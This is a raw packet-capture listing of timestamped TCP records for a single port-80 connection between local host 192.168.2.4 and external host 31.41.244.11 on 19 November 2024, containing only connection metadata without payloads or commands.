Nov 19, 2024 22:07:09.335803986 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.335812092 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.335825920 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.335834026 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.335855961 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.335870028 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.335889101 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.335910082 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.335922003 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.335951090 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.335959911 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.335971117 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.336009979 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.336013079 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.336036921 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.336057901 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.336081028 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.336086988 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.336117029 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.336143017 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.336150885 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.336165905 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.336199045 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.336208105 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.336215973 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.336230993 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.336253881 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.336256981 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.336278915 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.336301088 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.336302042 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.336302042 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.336322069 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.336345911 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.336368084 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.336374998 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.336390018 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.336407900 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.336431980 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.336446047 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.336456060 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.336477995 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.336481094 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.336500883 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.336519957 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.336519957 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.336539984 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.336540937 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.336560965 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.336564064 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.336581945 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.336611986 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.336622953 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.336663008 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.336694956 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.336718082 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.336754084 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.336755991 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.336777925 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.336806059 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.336819887 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.336831093 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.336860895 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.336880922 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.336882114 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.336920023 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.336956978 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.336978912 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.337001085 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.337028980 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.337042093 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.337066889 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.337084055 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.337104082 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.337114096 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.337126970 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.337150097 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.337151051 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.337172985 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.337186098 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.337198973 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.337205887 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.337223053 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.337234974 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.337245941 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.337254047 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.337269068 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.337291956 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.337311029 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.337330103 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.337352037 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.337371111 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.337380886 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.337393045 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.337416887 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.337435961 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.337461948 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.337476969 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.337487936 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.337500095 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.337522030 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.337527990 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.337549925 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.337563992 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.337605000 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.337605953 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.337627888 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.337646008 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.337649107 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.337692022 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.337701082 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.337713957 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.337743998 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.337755919 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.337778091 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.337811947 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.337822914 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.337847948 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.337867975 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.337889910 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.337908030 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.337949991 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.337965012 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.337999105 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.338006973 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.338030100 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.338064909 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.338071108 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.338085890 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.338092089 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.338114977 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.338135958 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.338150024 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.338166952 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.338176012 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.338186026 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.338229895 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.338272095 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.338294029 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.338315010 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.338330984 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.338336945 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.338351965 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.338360071 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.338371038 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.338382006 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.338387012 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.338402987 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.338409901 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.338426113 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.338433981 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.338448048 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.338470936 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.338493109 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.338506937 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.338515997 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.338537931 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.338555098 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.338560104 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.338574886 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.338582993 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.338604927 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.338618994 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.338624954 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.338655949 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.338682890 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.338705063 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.338731050 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.338742018 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.338752031 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.338758945 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.338774920 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.338781118 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.338794947 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.338804007 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.338818073 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.338829041 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.338841915 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.338867903 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.338876009 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.338890076 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.338897943 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.338912010 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.338916063 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.338934898 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.338936090 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.338957071 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.338958025 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.338977098 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.338982105 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.338999987 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.339000940 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.339015961 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.339039087 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.339050055 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.339056969 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.339067936 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.339113951 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.339128017 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.339144945 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.339152098 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.339163065 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.339176893 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.339181900 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.339195013 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.339200974 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.339219093 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.339221001 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.339247942 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.339255095 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.339271069 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.339287996 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.339287043 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.339329958 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.339349985 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.339349985 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.339361906 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.339376926 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.339394093 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.339411974 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.339426041 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.339457035 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.339469910 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.339473963 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.339504957 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.339520931 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.339538097 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.339543104 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.339555979 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.339570999 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.339579105 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.339615107 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.339632034 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.339648008 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.339665890 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.339689016 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.339699030 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.339709997 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.339718103 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.339749098 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.339751959 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.339772940 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.339785099 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.339795113 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.339803934 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.339831114 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.339859009 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.339867115 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.339883089 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.339898109 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.339906931 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.339915037 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.339931965 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.339931965 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.339955091 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.339963913 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.339981079 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.340002060 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.340027094 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.340044975 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.340060949 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.340079069 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.340106964 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.340142012 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.340240955 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.340297937 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.340298891 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.340317965 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.340333939 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.340343952 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.340351105 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.340365887 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.340368986 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.340384960 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.340396881 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.340401888 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.340420008 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.340424061 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.340447903 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.340470076 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.340481043 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.340528011 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.340570927 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.340588093 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.340621948 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.340647936 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.340660095 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.340691090 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.340718031 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.340723038 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.340742111 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.340770006 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.340770006 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.340818882 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.340832949 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.340837955 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.340872049 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.341175079 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.341192007 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.341208935 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.341223955 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.341226101 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.341245890 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.341249943 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.341279984 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.341291904 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.341296911 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.341314077 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.341324091 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.341346979 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.341360092 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.341365099 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.341381073 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.341396093 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.341398954 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.341432095 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.341433048 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.341449976 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.341451883 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.341480970 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.341495991 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.341500998 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.341528893 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.341573000 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.341573954 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.341620922 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.341700077 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.341732025 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.341751099 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.341773987 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.341778040 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.341820002 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.341837883 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.341852903 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.341870070 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.341887951 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.341900110 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.341905117 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.341922998 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.341934919 CET	49864	80	192.168.2.4	31.41.244.11
